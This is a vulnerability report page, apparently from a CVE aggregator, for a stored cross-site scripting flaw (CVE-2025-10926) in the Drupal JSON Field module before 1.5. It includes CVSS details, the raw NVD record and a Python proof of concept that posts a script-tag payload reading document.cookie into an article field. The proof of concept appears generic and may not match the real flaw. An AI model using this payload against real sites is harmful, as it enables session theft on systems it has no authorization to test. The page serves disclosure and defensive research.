Security Vulnerability Report
中文
CVE-2025-10926 CVSS 6.1 MEDIUM

CVE-2025-10926

Published: 2025-10-30 00:15:33
Last Modified: 2025-12-12 18:00:05

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal JSON Field allows Cross-Site Scripting (XSS).This issue affects JSON Field: from 0.0.0 before 1.5.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:json_field_project:json_field:*:*:*:*:*:drupal:*:* - VULNERABLE
Drupal JSON Field 0.0.0 - 1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-10926 PoC - Stored XSS in Drupal JSON Field # Target: Drupal site with vulnerable JSON Field module (< 1.5) target_url = "http://target-drupal-site.com" login_url = f"{target_url}/user/login" node_create_url = f"{target_url}/node/add/article" # Malicious JSON payload with XSS xss_payload = { "json_field": "<script>alert(document.cookie)</script>" } # Authentication (if required) session = requests.Session() login_data = { "name": "attacker_username", "pass": "attacker_password", "form_id": "user_login_form", "op": "Log in" } # login_response = session.post(login_url, data=login_data) # Create content with XSS payload node_data = { "title": "Malicious Article", "body[value]": "Test content", "field_json_data[0][value]": json.dumps(xss_payload), "form_id": "article_node_form", "op": "Save" } # response = session.post(node_create_url, data=node_data) print("XSS payload injected: ", json.dumps(xss_payload)) print("Visit the created node to trigger the XSS")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10926", "sourceIdentifier": "[email protected]", "published": "2025-10-30T00:15:33.003", "lastModified": "2025-12-12T18:00:04.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal JSON Field allows Cross-Site Scripting (XSS).This issue affects JSON Field: from 0.0.0 before 1.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:json_field_project:json_field:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "8.x-1.5", "matchCriteriaId": "55A344F5-60DC-4E2C-941F-ADC3EA4B526A"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2025-106", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}